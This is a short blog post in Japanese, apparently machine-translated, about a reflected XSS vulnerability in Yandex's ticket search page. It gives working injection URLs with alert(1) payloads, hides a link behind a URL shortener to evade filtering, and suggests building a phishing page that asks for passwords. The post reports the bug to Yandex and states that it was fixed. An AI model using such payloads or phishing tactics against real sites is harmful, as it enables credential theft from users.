Yandexで飛ぶ! または小さなもののためのxss

Yandex Webサイトでの脆弱性の使用の小さな例。



HOWTO

1)フォームを送信します。

2)GETパラメーターを使用します。

3)値がページの本文に書き込まれているものを見つけます。

4)jsを注入しようとします

5)???

6)利益!





いくつかの詳細:





チケット検索フォームにアクセスします。

 http://ticket.yandex.ru/variants/?
      
      











多くのエラーメッセージが表示されます。





アドレスバーに小さな魔法を代入する:

 http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script><script>
      
      











壊れたページを観察します。



さらにパラメーターを操作して、探しているものを見つけ、不要なエラーメッセージを削除します。

 http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"SOME_TEXT<script>alert(1)</script>&klass=first&fromId=&toId=- 
      









http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"SOME_TEXT<script>alert(1)</script>&klass=first&fromId=&toId=-













それだけです ほぼテレマーケット。



テキストをより説得力のあるものにするだけです。 たとえば、これ:

 http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"%20%20<a%20href='http://google.com'>%20%20</a>%20%20%20.<script>alert(1)</script>&klass=first&fromId=&toId=- 
      









http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"%20%20<a%20href='http://google.com'>%20%20</a>%20%20%20.<script>alert(1)</script>&klass=first&fromId=&toId=-

















長いURLでしたね? まあ、怖くない。

ところで、goo.glは私たちを助けません。 悪い言葉でURLを検出します。

しかし、ここには多くの競争がありますので、私たちはそれほど賢くはありません。 bit.ly/KHEmsr







これで、たとえば、以前に落書きしていたソーシャルネットワーク上のYandexへの興味深いリンクを投稿できます

フライト検索ページのコピー、世界中のすべてのパスワードを要求します...



さらに、再び、掘りませんでした。



PS:この投稿は、単に教育目的のために書かれました。



UPD :Yandexの技術サポートに手紙を書きました。



簡単な結論:







UPD2 :バグ修正。 ああ、どうも...



All Articles